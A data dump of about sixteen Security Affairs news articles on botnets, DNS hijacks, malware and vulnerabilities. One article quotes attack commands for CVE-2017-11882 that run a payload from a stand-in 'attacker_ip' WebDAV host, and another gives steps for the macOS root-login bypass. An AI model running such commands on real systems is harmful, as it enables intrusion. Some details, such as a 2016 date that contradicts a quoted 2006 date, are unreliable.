5813_64250 | Experts at Akamai have identified a running botnet of over 14,000 compromised systems used to spread malware. The botmasters implemented a technique dubbed Fast Flux to make the infrastructure hard to take down., Treat actors implementing the Fast Flux technique hosts a domain using multiple IP addresses by switching the domain from one IP to another. The IP addresses are swapped in and out with extremely high frequency, through changing DNS records., The Fast Flux technique was first implemented in 2016 by the Storm Worm malware variants., “Fast Flux, a DNS technique first introduced in 2006 and widely associated with the Storm Worm malware variants, can be used by botnets to hide various types of malicious activities – including phishing, web proxying, malware delivery, and malware communication.” reported Akamai. “The technique allows the botnet to “hide” behind an ever-changing network of compromised hosts, ultimately acting as proxies and making detection incredibly difficult.”, Experts were able to track a botnet composed of more than 14,000 IP addresses, most of them originating from eastern Europe., The Fast Flux Network works as an illegal websites hosting provider for illegal websites
offering merchandise such as:, The botnet was working for both hosting phishing websites and malware C&C servers, it was also utilized for carrying out automated attacks such as web scraping, SQL injections, and credentials abuse., “The primary characteristic of the Fast Flux network is that the network constantly changes its domains, IP addresses, and nameservers. These changes obfuscate the true nature of the network and make it more difficult for researchers to understand and defend against.” continues the analysis., Researchers observed the Fast Flux network is being segregated to different sub-networks based on the offered malicious service, , Researchers believe devices were infected with malware that installs a proxy component on the infcted hosts. Every time someone wants to connect to a malicious site exposed by the botnet, DNS servers would provide the IP of an infected host that was at that time “hosting” the domain. The proxy component of the infected host then redirects incoming traffic to the malicious site, hosted elsewhere., The analysis of the Botnet revealed it was organized in two separate sub-networks:, Experts noticed that most of the hosting sub-network were located in Ukraine, Romania, and Russia. The composition of the botnet’s C&C sub-network was very different., The botnet’s C&C sub-network IPs contained private IP addresses, such as 10.x.x.x, 192.168.x.x, belonging to Fortune 100 companies, as well as military organizations., , The analysis of the exposed ports for all IPs shows that most of the hosting network had ports 80 and 443 exposed, while most of the C&C sub-network had port 7547 exposed., The port 7547 is specific to the TR-069 protocol implemented by remote management tools of routers and modems, these devices are suspected to represent a good portion of the botnet., According to Akamai, Fast Flux botnets can be compared to a living organism that evolves over the time to preserve itself, experts will continue to monitor its evolution., Pierluigi Paganini, (Security Affairs – Fast Flux botnet, malware), |
2608_39098 | A few days ago we wrote about the BIND software flaws that were discovered, affecting important companies, and last week a patch was released for the denial-of-service flaw (CVE-2015-5477), which was affecting all versions of BIND 9., The flaw can be exploited by sending a malformed packet to the vulnerable server, which when receives it will crash., The vulnerability could be exploited by attackers to crash both authoritative and recursive DNS servers., Researchers were predicting that attackers were going to try to exploit the flaw, and today we can officially confirm it., “We can confirm that the attacks have begun,”, “DNS is one of the most critical parts of the Internet infrastructure, so having your DNS go down, it also means your email, HTTP and all other services will be unavailable.” wrote David Cid, founder of security company Sucuri., , Everyone is advised to patch his DNS servers since there is no workaround, and the only way to really stop the attacks is the installation of the patch., “All major Linux distributions (Redhat, Centos, Ubuntu, etc) have already provided patches for it and a simple “yum update” on Redhat/Centos or “apt-get update” on Debian-based systems will get you protected. Remember though, for the change to take affect you must restart BIND after the update.”, If you run your own DNS server and want to check if you are being targeted, you need to look for “ANY TKEY” in your DNS logs:, Here is the tip, so please patch your DNS servers., Edited by Pierluigi Paganini, (Security Affairs – BIND, hacking) |
2338_37195 | Symantec and the recently published Internet Security Threat Report (ISTR) have made a truly frustrating revelation as to the time period, in which zero-day threats remain undetected. Whereas in 2013 this time period has been less than four days, it seems that the time now has multiplied by a lot. Indeed, such vulnerabilities remain unresolved for about 59 days and this is really shocking news to grasp. The software companies involved in the patching of these vulnerabilities had to spend a lot of time and nearly reached two whole months until they were able to deal with the threat effectively., , The hackers and the ones pulling off the attack were greatly benefited by the time period that was significantly longer than expected and they exploited the vulnerabilities to a huge extent (like in the example of Heartbleed Bug). One thing that has drawn great attention to this specific report is the acknowledgement that such attacks have been astonishingly precise and to the point, as they required fewer emails and they resulted in more significant breaches. Other problems that emerged included the use of a compromised email to reach other, more important business emails, as well as the creation of customized attack software upon the penetration to the targeted system for further access and flexibility., Alongside email scams and targets, nowadays hackers have also focused on mobile devices and social media. These are two new and profitable options for them, which they are not willing to give up that easily. In order for both businesses and individuals to remain protected in such a hostile environment, it makes total sense that the proper knowledge and the right tools are set into motion. Let’s have a look at what you ought to pay attention to, so as to get the maximum benefits out of the web and minimize, if not eliminate the threats deriving from zero-day vulnerabilities:, Given the severity of the problems that a lot of businesses and individuals have to tackle with regarding Internet Security, you should structure a strategy that highlights the dangers and that suggests solutions. Viable solutions can be found at all times, provided that there is the will to try, experiment with different approaches and come up with the best solution!, Written by: Ali Qamar, Founder/Chief Editor at SecurityGladiators.com, Author Bio:
Ali Qamar is an Internet security research enthusiast who enjoys “deep” research to dig out modern discoveries in the security industry. He is the founder and chief editor at Security Gladiators, an ultimate source for cyber security. To be frank and honest, Ali started working online as a freelancer and still shares the knowledge for a living. He is passionate about sharing the knowledge with people, and always try to give only the best. Follow Ali on Twitter @AliQammar57, Pierluigi Paganini, (Security Affairs – Symantec ISTR Report, zero-day) |
4706_55060 | Two days ago, we followed many news and comments regarding the compromise of the address www.google.com.br. At the beginning, many (me included) discredited the news, however, big online portals quickly started to propagate the event. People close to me also reported being accessing the invalid content and ask me for help., G1 Portal ( brought some up-to-date information about the fact, including the official answer by Google:, “Some internet users in Brazil faced problems accessing google.com.br due to compromised DNS servers: that means, the malicious change of the routing configuration of those DNS servers, taking the user to a different website than the desired one”, informs Google in its note to G1., “Google is not responsible by the affected DNS servers, whence notified the administrators, which fixed the problem in 30 minutes. The affected users may also switch their network DNS server, as the Google system was not affected”, Google assures., This notification is split into two parts. At the first part, we analyze the technique used in the incident by digging up public information from DNS servers cache which retained the swapped “google.com.br” domain content while it was compromised. At the second part, based on the technical analysis, we make our deductions and conclusions about the case and provide a few preventive security recommendations., For this analysis, we used an environment whose users were still seeing the incorrect content while accessing www.google.com.br. Following, the technical details of the performed procedures., 1.1. Address Resolution www.google.com.br, While resolving “www.google.com.br”, we obtained the IP address 91.148.168.111 as a response, as seen in Picture 1., Picture 1 – Invalid address returned by www.google.com.br, Using “whois”, we saw that the address IP 91.148.168.111 does not belong to Google, but to a Bulgarian entity, as can be seen in Picture 2., Picture 2 – Entity responsible for the IP address 91.148.168.111, The same query to the address “www.google.com.br” from an environment which shows the legitimate Google page returns the IP address 216.58.202.3 (Picture 3)., Picture 3 – Result is the legitimate Google IP address, As seen in the analysis, it was possible to validate that the invalid content was not hosted on an address from Google, that is, the content of the Google website was not altered. There is yet to explain why the users were being taken to the wrong address. We continue our analysis., 1.2. DNS Cache Analysis, We begin now our search of a DNS server whose cache is pointing to the invalid IP address for “www.google.com.br”, alas, 91.148.168.111. The goal is to find out which DNS server is returning the invalid IP. After finding one such server, we fetch its cache with the PowerShell command Show-DnsServerCache., Below, the cache address entries for the “*google.com.br” addresses:, Table 1 – Cache from a DNS server during the incident with the domain google.com.br, Notice that the SOA (Start of Authority) entry, the registry that identifies the DNS server responsible for “google.com.br” zone points to the address “ns1-leader.vivawebhost.com”. The address resolves to IP 91.148.168.6, whose responsible is the same entity of IP 91.148.168.111., Just to be sure, we did a DNS consult using the address www.google.com.br pointing to the DNS server ns1-leader.vivawebhost.com. The first attempt returned a timeout error – likely because the server was being strangled by the number of requests. In our second try, the address 91.148.168.111 was resolved. Exactly the same IP users were being directed, as seen in Picture 4., Picture 4 – The consult result to the address www.google.com.br on the DNS server used for the attack, To be sure of the cache information, we did consult the SOA registry pointing to the address ns1-leader.vivawebhost.com., Picture 5 – Result for the SOA query with google.com.br at the DNS server used during the attack, The results for the same query for a legitimate Google environment should return the following:, Picture 6 – Result for the legitimate domain, We did then query the domain “google.com.br” at registro.br, the entity responsible for “.br” domains. The result shows that the moment this report was being written, the DNS servers responsible for the domain are ns1.google.com, ns2.google.com, ns3.google.com e ns4.google.com. As expected, there are no records pointing to the invalid address ns1-leader.vivawebhost.com., Picture 7 – Querying the domain “google.com.br” at Jan. 03, 2017 after the incident was resolved, A identified point of attention is the date of the last domain update at registro.br: Jan. 03, 2017, the day of the incident., 2. Conclusion, These analysis results make us believe the attacked managed, some way, to access the “google.com.br” domains configuration at registro.br and change it to point to ns1-leader.vivawebhost.com and ns2-leader.vivawebhost.com. This type of attack is known as “domain kidnapping”., While the values of the DNS servers were adulterated, users trying to access www.google.com.br were taken to the incorrect address. As the response to the identified incident, the administrators responsible for the “google.com.br” domain with registro.br quickly reverted the configuration to the original values., As the attackers used the TTL (time to live) value of 86400 seconds (24 hours), the DNS servers which refreshed their Google address at the time window will be kept handing over the invalid information for a long period. To speed things up, in case this problem is affecting your organization, I suggest you clean your DNS server cache. An easy way to do this is by resetting your DNS service., The problem could have been worse. An attack of this kind has great damage potential for the organization which owns the Internet domain as well as for users that access the address. We list a few example below (none happened this time, though):, In case you delegate the task of administering your Internet domains to a third party organization, we recommend you to be sure that they follow access management good security practices for Domain Registry entities, like having the second authentication factor enabled., For more information regarding domain kidnapping, access the article written by me at the end of the last year, describing a case study through this link., About the Author:, Renato Marinho , Edited by Pierluigi Paganini, (Security Affairs – hacking, google.com.br) |
2836_40689 | The popular Adblock Extension has been sold to an unknown buyer, Michael Gundlach its creator made the shocking revelation., Michael Gundlach doesn’t provide further details on the sale, he kept secret the identity of the Buyer of its company and the selling price., Michael Gundlach will no longer be in the Adblock company neither the company of the mysterious buyer., Adblock Extension is the most popular Extension used to block annoying ads, it has more than 40 million users., Which is the impact on end-users?, The popup message displayed in users’ browsers this week is eloquent, the Adblock is turning on Acceptable Ads., “I am selling my company, and the buyer is turning on Acceptable Ads,” Gundlach said., , The fact that the buyer desire to hide its identity is raising a number of questions among the users of the AdBlock Extension. Who is managing the AdBlock Extension now and is it possible to trust it in the future., Someone fears the possible involvement of a company controlled by an intelligence Agency., What does it mean AdBlock will Turn on “Acceptable Ads”?, Basically, the AdBlock Extension application will maintain a whitelist of ads that will not be blocked by default., “Acceptable Ads feature will now let some advertisements through on by selected websites or by selected companies by default, if those companies pay for showing their ads.” reported the HackerNews., Many fear the AdBlock Extension will no more work as in the past, others speculate that it could be used as an attack vector in order to transfer on the 40 million devices a sort of spyware… others simply believe that it is a marketing action of an IT giant., … and as sais by the friends at TheHAckerNews, there are also valid alternative to Adblock, such as uBlock., Pierluigi Paganini, (Security Affairs – Adblock Extension, advertising) |
5460_60996 | AlphaBay Market was considered the largest marketplace on the Dark Web for drugs, guns, and other illegal goods competing against the likes of Abraxas, Dream, and Hansa., The AlphaBay Market went down last week on Tuesday, July 4th, without any explanation, many users that have purchased products on the marketplace fear the Exit-Scam., A few days after the disconcerting disappearance, the Wall Street Journal reported that the black marketplace shut down after authorities in the United States, Canada, and Thailand conducted several raids and arrested Alexandre Cazes, who is suspected to be an operators of the AlphaBay Market., “Investigators with the RCMP executed search warrants in Montreal and Trois-Rivières Wednesday morning, reportedly in connection with the sale of merchandise on the “Dark Web” of the internet.” reported the Montreal Gazette., Now there is the dramatic part of the story, Cazes was awaiting extradition to the United States when a guard found him dead in the jail cell on Wednesday., According to the Chiang Rai Times, Cazes has hanged himself using a towel. AlphaBay was considered the “the new Silk Road,” it emerged in 2014 and became of the most prominent dark web marketplaces., “Narcotics Suppression Bureau (NSB) Pol Maj Gen Sunthon Chalermkiat told Thai media yesterday that an initial examination of the body of Canadian Alexander Cazes, points to suicide.” reports the Chiangraitimes., “A duty officer noticed a towel hanging from the toilet door in his cell about 7am, but could not see him, police said. The officer unlocked and entered the cell and found Cazes dead in the toilet.”, The case anyway has not been resolved, law enforcement has to discover if there were other operators behind the AlphaBay Market and which were their roles., Don’t forget also that there is a lot of money still stored inside its wallets and probably someone could access them., “It is also unclear as to what Cazes may have told the authorities in regards to AlphaBay, its users, or other people working on the platform.” continues the Chiangrai Times., “On Reddit, there is some wild speculation as to whether or not these claims are true. It is hard to determine if Cazes is the real AlphaBay admin, but all of the information seems to hint at that outcome. His arrest coincides with the platform going down, and it would also explain why AlphaBay has not resurfaced. On the platform, the admin is known as “deSnakes”, which very well could indeed by Cazes.”, We can consider the case closed, the AlphaBay Market was shut down by the law enforcement, exactly like its predecessor Silk Road., Pierluigi Paganini , (Security Affairs – AlphaBay Market, Dark Web) |
5524_61467 | Another case of pre-installed malware make the headlines, malware researchers at the Russian anti-virus firm Dr.Web have spotted the Triada Trojan in the firmware of several low-cost Android smartphones, including Leagoo M5 Plus, Leagoo M8, Nomu S10, and Nomu S20., Experts speculate that threat actors compromised the supply chain infecting a small number of smartphones of the above models., “Virus analytics from Dr.Web detected a malicious program built into the firmware of several mobile devices running Android. The Trojan called Android.Triada.231 is embedded into one of the system libraries. It penetrates processes of all running applications and can secretly download and run additional modules.” reads the analysis published by Dr Web., , The Triada Trojan was found inside the Android OS Zygote core process, the component used to launch programs on mobile devices., “By infecting Zygote, Trojans embed into processes of all running applications get their privileges and function as part of applications. Then, they secretly download and launch malicious modules.” continues the analysis., The Triada trojan was first discovered in March 2016 by researchers at Kaspersky Lab that at time recognized it as the most advanced mobile threat ever seen. The range of techniques used by the threat to compromise mobile devices was not implemented in any other known mobile malware., Triada was designed with the specific intent to implement financial frauds, typically hijacking the financial SMS transactions. The most interesting characteristic of the Triada Trojan apart is the modular architecture, which gives it theoretically a wide range of abilities., , Once the malware was initialized it sets up some parameters, creates a working directory, and checks the environment it is running. If the malware is running in the Dalvik environment, it hooks up one of the system methods to track the start of all applications and perform malicious activity immediately after they start., “The main function of Android.Triada.231 is to secretly run additional malicious modules that can download other Trojan components. To run additional modules, Android.Triada.231 checks if there is a special subdirectory in the working directory previously created by the Trojan. The subdirectory name should include the MD5 value of the software package name of the application, into the process of which the Trojan is infiltrated.” states the analysis., Experts at Dr Web explained that the Triada Trojan cannot be deleted using standard methods because it is hidden into one of the libraries of the operating system and located in the system section. To eradicate the threat, it is necessary to install a clean Android firmware. Dr.Web notified manufacturers of compromised smartphones., Pierluigi Paganini, (Security Affairs – Android , Triada Trojan) |
6007_66147 | An easy exploitable vulnerability in macOS 10.13, aka macOS High Sierra, could be triggered by users to gain admin rights, or log in as root, without a password., The vulnerability is exploitable via the authentication dialog box in the Apple macOS High Sierra that asks for an administrator’s username and password when the user needs to do specific actions like configure privacy and network settings., From the user login screen, if the user provides “root” as the username, leave the password box blank, hit “enter” and then click on unlock a few times, the prompt disappears and he gains admin rights., The attack scenario needs physical access to the machine to log in, once inside the attacker can perform several malicious activities such as install a malware., Waiting for a fix, users should mitigate the bug not leaving vulnerable macOS High Sierra unattended, nor allowing remote desktop access., The flaw was publicly disclosed via Twitter by the developer Lemi Orhan Ergan., You can access it via System Preferences>Users & Groups>Click the lock to make changes. Then use "root" with no password. And try it for several times. Result is unbelievable! pic.twitter.com/m11qrEvECs, — Lemi Orhan Ergin (@lemiorhan) November 28, 2017, , With the access to the machine it is possible to disable FileVault encryption that protects the files from being seen or copied., oh god this actually works and it lets you do everything like turn off FileVault, well done Apple. pic.twitter.com/vQAqEK39Vk, — Jon (@jonp__) November 28, 2017, , Experts noticed that If they have a root account enabled and a password for it set, the trick will not work., To set the password, type the following command from the Terminal., sudo passwd -u root, , Apple promptly published this guide to enabling the root account and setting a password for it. If you have remote desktop access enabled for VNC, RDP, screen sharing and similar, it can be used to gain admin rights on your machine. Apple will release a patch to address the issue., In October, macOS users noticed that another easy-to-exploit bug in macOS High Sierra was disclosing the password for encrypted drives., In September, the cyber security expert Patrick Wardle, director of research at Synack, revealed that unsigned applications can steal macOS Keychain passwords from the latest version of macOS High Sierra and previous versions of macOS., , Pierluigi Paganini, (Security Affairs – macOS High Sierra, hacking) |
7415_78005 | Microsoft’s Patch Tuesday updates for November 2018 addressed 63 vulnerabilities, including an actively exploited Windows privilege escalation vulnerability., Twelve of the flaws were rated as “Critical”, 49 are rated Important, two vulnerabilities were publicly known at the time of release (CVE-2018-8584, a Windows ALPC elevation of privilege issue, and CVE-2018-8566, a BitLocker security feature bypass flaw), and one of them was reportedly under active attack., 9 of the 12 Critical flaws addressed with Microsoft’s Patch Tuesday updates for November 2018 are remote code execution (RCE) vulnerabilities in the Chakra scripting engine in Microsoft Edge. The remaining three Critical bugs affects in the Windows Deployment Services TFTP Server, Microsoft Graphics Components, and Windows VBScript Engine., The flaw exploited in attacks in the wild is tracked as CVE-2018-8589 and could be exploited by an authenticated attacker to execute arbitrary code in the context of the local user, it ties the way Windows handles calls to Win32k.sys., The vulnerability was reported by experts from Kaspersky Lab, it has been actively exploited by threat actors. The CVE-2018-8589 vulnerability only affects Windows 7 and Windows Server 2008., ” CVE-2018-8589 – Win32k Elevation of Privilege Vulnerability
Just like last month, November has a Win32K (kernel-mode drivers) elevation of privilege vulnerability listed as currently under active attack. Also like last month, this bug was reported by researchers at Kaspersky Labs, indicating this bug is being used in malware.” reads the description published by Zero Day Initiative., “Again, this is likely being used in targeted attacks in combination with other bugs. Malware often uses kernel elevation bugs to go from user-mode to admin-mode, allowing them full control of a target system.”, Microsoft has addressed a Windows ALPC Elevation of Privilege Vulnerability tracked as CVE-2018-8584 that was disclosed last month by the researcher that goes online with the moniker SandboxEscaper., SandboxEscaper published a tweet containing a link to a Github page hosting a proof-of-concept (PoC) exploit for a privilege escalation vulnerability affecting Microsoft Data Sharing (dssvc.dll)., Pierluigi Paganini, (Security Affairs – Microsoft’s Patch Tuesday November 2018, Windows) |
5949_65588 | Ops, a 17-Year-Old vulnerability in MS Office could be exploited by remote attackers to install a malware without user interaction.
The flaw is a memory-corruption issue that affects all versions of Microsoft Office released in the past 17 years, including the latest Microsoft Office 365. The vulnerability could be triggered on all versions of Windows operating system, including the latest Microsoft Windows 10 Creators Update., The vulnerability, tracked as CVE-2017-11882, was discovered by the security researchers at Embedi, it affects the MS Office component EQNEDT32.EXE that is responsible for insertion and editing of equations (OLE objects) in documents., The component fails to properly handle objects in the memory, a bug that could be exploited by the attacker to execute malicious code in the context of the logged-in user., The EQNEDT32.EXE component was introduced in Microsoft Office 2000 seventeen years ago and affects Microsoft Office 2007 and later because the component was maintained to maintain the backward compatibility., , To exploit the vulnerability, an attacker needs to trick victims into opening a specially crafted malicious file with an affected version of Microsoft Office or Microsoft WordPad software.
The attacker can gain full control on the target system by chaining the vulnerability with Windows Kernel privilege escalation exploits like CVE-2017-11847., Researcher at Embedi researchers described several attack scenarios :, “By inserting several OLEs that exploited the described vulnerability, it was possible to execute an arbitrary sequence of commands (e.g., to download an arbitrary file from the Internet and execute it).” states the analysis published by Embedi., “One of the easiest ways to execute arbitrary code is to launch an executable file from the WebDAV server controlled by an attacker.”, “Nonetheless, an attacker can use the described vulnerability to execute the commands like cmd.exe /c start \\attacker_ip\ff. Such a command can be used as a part of an exploit and triggers starting WebClient.”, “After that an attacker can start an executable file from the WebDAV server by using the \\attacker_ip\ff\1.exe command. The starting mechanism of an executable file is similar to that of the \\live.sysinternals.com\tools service.”, Microsoft has addressed the vulnerability with the November Patch Tuesday release, the tech giant has changed the way the affected component handles objects in memory., The experts warn of the presence of many security issued in this vulnerable Office component and suggest disabling it to avoid problems., To disable the component it is very simple, just type the following command in the command prompt:, reg add “HKLM\SOFTWARE\Microsoft\Office\Common\COM Compatibility\{0002CE02-0000-0000-C000-000000000046}” /v “Compatibility Flags” /t REG_DWORD /d 0x400, For 32-bit Microsoft Office package in x64 OS, the command to run is:, reg add “HKLM\SOFTWARE\Wow6432Node\Microsoft\Office\Common\COM Compatibility\{0002CE02-0000-0000-C000-000000000046}” /v “Compatibility Flags” /t REG_DWORD /d 0x400, Microsoft users should also enable Protected View to prevent active content execution (OLE/ActiveX/Macro)., Pierluigi Paganini, (Security Affairs – CVE-2017-11882, hacking) |
7732_80892 | Security experts from Trend Micro have discovered a new strain of coin miner that targets the Linux platform and installs the XMR-Stak Cryptonight cryptocurrency miner, researchers observed it killing other Linux malware and coin miners present on the infected machine., The experts detected a coinminer script on one of their honeypots and, the malicious code shares some parts with the Xbash malware and the KORKERDS cryptocurrency miner that leverages rootkit to avoid detection. , “We found the script capable of deleting a number of known Linux malware, coin miners, and connections to other miner services and ports, and we observed some parts of the script to be reminiscent of Xbash features and KORKERDS.” reads the analysis published by Trend Micro., “It installs a cryptocurrency-mining malware as well as implant itself into the system and crontabs to survive reboots and deletions.”, Experts noticed that this specific variant of KORKERDS leverages the rootkit to download a binary of a modified version of a universal Stratum XMR-Stak pool miner., According to the experts, the infection started from some IP cameras and web services via TCP port 8161, where the attacker attempts to upload a crontab file. , The crontab file allows to launch a second stage that implements the following three functions: , The malware attempts to hide its presence by clearing system logs and achieve persistence using implanted crontab files., Compared to the original KORKERDS cryptocurrency miner, the new script improved the way it downloads and executes the files. It inserts a single crontab that fetches all the code and the miner component., “While a malware routine that includes the removal of other malware in the system is not new, we’ve never seen the removal of Linux malware from the system on this scale. Removing competing malware is just one way cybercriminals are maximizing their profit.” concludes Trend Micro., Further details, including indicators of compromise, are reported in the analysis published by Trend Micro., Pierluigi Paganini, (SecurityAffairs – coin miner, malware), |
1891_32998 | The torrent-indexing website Pirate Bay has risen again after almost two months of total outage. The Pirate Bay it the most popular file-sharing website used to share copyrighted material free of charge, last year it was obscure following a raid against its servers in Sweden requested by the Swedish anti-piracy group Rights Alliance. The Sweden authorities raided The Pirate Bay’s server room in Stockholm and seized several equipments. The last raid comes a month after the arrest of Fredrik Neij, one of the three founders of The Pirate Bay, Thailand on November 3., The new version of The Pirate Bay appears to be using the CloudFlare content delivery network, that sounds very suspicious because the company track IP addresses to protect its customers from cyber attacks. Obviously the choice to use CloudFlare worries the Pirate Bay users, there is the concrete risk that someone is monitoring its connection in order to track them. Other torrent sites have chosen CloudFlare in the past, like the EZTV.it that is any way offline at the time of writing. It is still unclear how the Pirate Bay site has managed to be online again after the raid., , The problem is serious for those users that access to copyrighted material free of charge, anyway the site seems to be working exactly before the shutdown with people are already uploading and downloading torrents., “The Pirate Bay was started by the swedish anti copyright organization Piratbyrån in the late 2003, but in October 2004 it separated became run by dedicated individuals,” reportes the About page on The Pirate Bay., “In 2006 the site changed it’s ownership yet again. Today the site is run by an organisation rather than individuals, though as a non-profit. The organisation is registered in the Seychelles and can be contacted using the contact form.“, Rumors online say that some The Pirate Bay staff are not supporting this relaunch because it was supposed to be a “trimmed down version” that doesn’t require former admins and moderators, for this reason these persons are planning to launch their own version based on a backup of the original., “Personally I won’t accept this neither will any of the crew that’s been active for almost 10-11 years. As an admin and human, I won’t stand aside and accept this kind of behavior,” explained one of The Pirate Bay’s former admins, as reported by TorrentFreak.”This is the worst scenario that could happen.”, The new version managed by the staff composed by “dissident” is hosted at Moldova’s Trabia datacenter., The Pirate Bay users should exercise additional caution when downloading content from the site., Pierluigi Paganini, (Security Affairs – The Pirate Bay, cybercrime) |
5305_59784 | The online news outlet The Intercept obtained access to a top-secret NSA report that shows Russian state-sponsored hackers tried repeatedly to hack the US voting systems before last 2016 Presidential election., , According to the NSA top-secret report, hackers tied to the Russian GRU intelligence directorate targeted private organizations and hacked voter registration services and equipment for months until just days before the election day., It is not clear if the nation-state hackers had any effect on the election, US intelligence officials repeatedly excluded any interference with the final result of the vote., The report comes a few days President Putin blamed patriotic hackers for the cyber attacks against foreign countries and denied Russia involvement., “This useless and harmful chatter needs to stop.” President Putin said., , The report blames Russian President Vladimir Putin of directing a concerted effort to interfere with the election to help Trump., The Russian effort involved cyber attacks and a strategic disinformation powered by the Russian Intelligence., According to the document, Russian hackers used data-stealing malware launched spear-phishing attacks against people involved in the election to “obtained and maintained access to elements of multiple US state or local electoral boards.”, “The report indicates that Russian hacking may have penetrated further into U.S. voting systems than was previously understood. It states unequivocally in its summary statement that it was Russian military intelligence, specifically the Russian General Staff Main Intelligence Directorate, or GRU, that conducted the cyber attacks described in the document” states The Intercept., , “Russian General Staff Main Intelligence Directorate actors … executed cyber espionage operations against a named U.S. company in August 2016, evidently to obtain information on elections-related software and hardware solutions. … The actors likely used data obtained from that operation to … launch a voter registration-themed spear-phishing campaign targeting U.S. local government organizations.” reads the NSA top-secret report., It is still unclear which kind of information hackers have stolen neither the systems they have breached., Pierluigi Paganini, (Security Affairs – NSA top-secret report, hacking) |
5616_62248 | The dreaded Ourmine hacker crew is back, after the recent hack of social media accounts of HBO and Game of Thrones, the team hijacked the official Twitter and Facebook accounts for Sony PlayStation Network (PSN) on Sunday., The Saudi Arabian group of white hat hackers hacked the Netflix US Twitter account (@Netflix) in December to promote its website and hacking services, it is known for its attacks against high-profile Twitter accounts. The list of victims is very long and includes Mark Zuckerberg, Twitter co-founder Evan Williams, David Guetta Daniel Ek, former Twitter CEO Dick Costolo, Twitter CEO Jack Dorsey, the CEO and founder of Spotify, Google CEO Sundar Pichai, and many others., On Sunday evening Ourmine published a tweet to claim the hack of PlayStation Network and theft of its database., Last time the company was breached was in 2011 when the PlayStation hack exposed the personal details of more than 77 Million PSN users., Stay Tuned!, Pierluigi Paganini, (Security Affairs – Ourmine hacker group, PlayStation Network (PSN)) |
1636_30175 | A new secret U.S. surveillance program was disclosed in a Wall Street Journal’s report, the post published by the popular media agency reveals the use of bogus cell phone towers installed in airplanes to scan Americans’ cell phones and syphon their data., The attack scheme is simple as effective, the tower signals are used to trick phones to automatically switch over to its signal. The technique is not new, law enforcement has already adopted this technology to spy on cellphone, StingRay is the name used to identify mobile units that are able to track users’ mobile devices., “The boxes used by the program allow planes to pose as the nearest cell phone tower, which prompts cell phones under surveillance to disclose their location and identity information, even if a legitimate tower is closer than the plane overhead. The dirtboxes also have the ability to interrupt calls, though officials have reportedly tried to mitigate the harmful consequences of that function.” reported the Business Insider., According to the Wall Street Journal, the technique was adopted by US law enforcement, the Justice Department used it to collect huge amount of data to use in its investigations., , Security and privacy experts are contrary to this “insanely broad airplane data dragnet” because it affects people all over the country., , The program started in 2007 and U.S. Marshals used different aircrafts equipped with the spying technology, also referred as dirtboxes, to spy data from individuals on the entire US soil., “The U.S. Marshals Service program, which became fully functional around 2007, operates Cessna aircraft from at least five metropolitan-area airports, with a flying range covering most of the U.S. population, according to people familiar with the program., Planes are equipped with devices—some known as “dirtboxes” to law-enforcement officials because of the initials of the Boeing Co. unit that produces them—which mimic cell towers of large telecommunications firms and trick cellphones into reporting their unique registration information.”, The technology allows law enforcement to steal data from tens of thousands of cellphones in a single flight, collecting their identifying information and general location., The case is making a lot of noise in the public opinion, another secret surveillance program is threatening US citizens. Recently another news raised many concerns in the security communities about the discovery of a series of bogus cell phone towers in the US used by unknowns for surveillance purpose., In time I’m writing, The Justice Department hasn’t commented the news., Stay tuned!, Pierluigi Paganini, (Security Affairs – surveillance, cell phone) |
275_7160 | Last week, on blog.torproject.org was published the news relative to a security vulnerability found in Cyberoam DPI devices (CVE-2012-3372). All is started when a user in Jordan reported seeing a fake certificate to torproject.org., The certificate was issued by Cyberoam companies and the researchers of the Tor project believed that the CA has been tricked such as famous predecessors Comodo, Diginotar. The user not reported problems during its ordinary navigation, he was able to browse web site such as Twitter, Facebook and Gmail, this scenario suggests we are facing with a targeted attack to trick Cyberoam to issue fake certificate for torproject.org website., , Who is Cyberoam and which are its products?, Cyberoam UTM is a network security solution appliance vendor. But the company also provides a range of devices used for Deep Packet Inspection (DPI), probably the user’s connection was intercepted by one of their devices., During the investigation the experts of torproject.org found a vulnerability in Cyberoam DPI devices, they discovered that all Cyberoam DPI devices share the same digital certificate., This means that the private key is the same for every device, the implications, if confirmed, are serious, in fact it could be possible to intercept traffic from any victim of a Cyberoam device extracting the key from the device and import it into other DPI devices to use for the interception or simply using another Cyberoam DPI., The torproject.org researchers have immediately tried to contact the Cyberoam firm and they have also notified the vulnerability to browser vendors asking them to blacklist the Cyberoam CA certificate in their browsers., Waiting for the reply of the security firm the experts of torproject.org have published in their blog the following info., “The Cyberoam CA certificate is not trusted, and so browsers will show users a warning (unless someone has already installed the certificate). Users with the Tor Browser Bundle are not affected.”, Cyberoam has responded that its security devices open up traffic to inspection by third-parties, it also added in an official communicate that the devices implements tamper-protection measures meant it was not possible to export cryptographic keys from them., “Cyberoam’s private keys cannot be extracted even upon dissecting the box or cloning its hardware and software. This annuls any possibility of tampering with the existing certificates on appliance,” the firm explained., Obviously Cyberoam reiterated the purpose of the https deep scan inspection technology, it has been developed to network protection from malware detection and not to attack tool such as Tor., Although devices are bundled with technology designed to perform deep HTTPS scanning usable to peer into the contents of encrypted communications., They completely excluded to have been involved in any king of attacks against Tor project., Again the company clarified:, “Cyberoam UTM Unified Threat Management either accepts or rejects, but does not store HTTPS Deep Scan Inspection data, as processing is done in real-time. The possibility of data interception between any two Cyberoam appliances is hence nullified,”, UTM security appliances perform SSL inspection by generating their own certificates in this way network administrators would install them from Cyberoam on every devices of their network, allowing the traffic inspection technology to work without generating a warning., The company remarked that HTTPS Deep Scan Inspection is driven by SSL Bridging Technology, so Cyberoam appliance provides self-signed certificate to the client whilst establishing a secure connection with the client and server. A default certificate is shipped which remains the same across all the appliances., , It could simply possible uninstall the Cyberoam CA certificate from the browser and decline to complete any connection which gives a certificate warning., Criminals or governments could use the stolen certificates to conduct “man-in-the-middle” attacks, tricking users into thinking they were at a legitimate site when in fact their communications were being secretly tampered and intercepted. That is for example what occurred in the DigiNotar case … companies like Facebook, Google and also agencies like CIA, MI6 were targeted in Dutch government certificate hack., Pierluigi Paganini |
5878_64917 | The best news of the week with Security Affairs., Once again thank you!, Pierluigi Paganini, (Security Affairs – Newsletter) |
